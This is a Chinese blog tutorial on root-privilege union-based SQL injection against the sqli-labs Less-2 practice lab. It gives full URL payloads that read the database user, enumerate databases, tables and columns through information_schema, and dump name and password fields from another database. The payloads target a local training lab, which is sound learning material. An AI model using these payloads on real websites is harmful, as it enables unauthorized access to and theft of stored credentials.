SQL注入-高权限注入(下)

在之前进行简单sql注入的文章中,我们已经完成了对sqli-less2的注入,今天这篇文章也将以less2作为这次高权限注入的例子。

首先我们已经知道了注入点是id型,在进行高权限注入前首先要确定访问网站的用户为root级别,代码如下:

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,user(),3

发现是roor用户,接下来还是一样,先查询所有数据库的名称,代码如下,我们先解析一下这个代码,在之前的文章中已经有说过,数据库的一些库名信息是保存在系统库中的information_schema库下的schemata这张表的schema这个字段下

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

我们这样就已经查询到了mysql数据库下的有的七个库,在之前的文章中我们已经知道security是当前less-2,假设test这个数据库是网站B的,并不是less-2的数据库,那该如何访问渗透它。

我们现在已经知道了库名,接下来就应该知道库下有哪些表,然后然后根据表名来查询我们想要的一些东西,即使用查询书库对应的表名如下,同样先来解析一波,表名都保存在 information_schema的tables这张表下的table_name这个字段下,如果只有这些的话将会出现所有数据库下的表名,所以我们指定查询table_schema这个保存表信息的框架(表名)为test这个库下有的表名

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'

知道了表名后,接着查询表名对应的字段名就可以了,语句如下,information_schema这个数据库下的columns中,保存着数据库中所有的字段名,同样的我们直接将表名精准到t1这个表下去查询字段名就可以了

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='t1'

既然已经知道了表名也知道了字段名,那接下来就很简单了,直接输入查询数据的语句即可,这边要注意最后查询字段的时候,为什么要写test.t1而不是直接写t1呢,这是因为在实战中可能t1这个表在整个数据库系统,不同的数据库下有成千上万张,所以要直接定位到test这个库下的t1表下进行查询。

http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,name,pass from test.t1

这篇文章通过一个简单的例子,利用高权限进行一个跨库的查询。同时我们要注意的是,进行高权限注入的时候,有两个前提条件,第一个是我们的用户名是root的情况下,第二个是网站的数据库为高版本数据库(具有系统库),但现在基本百分之九十用的都是高版本的数据库,

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值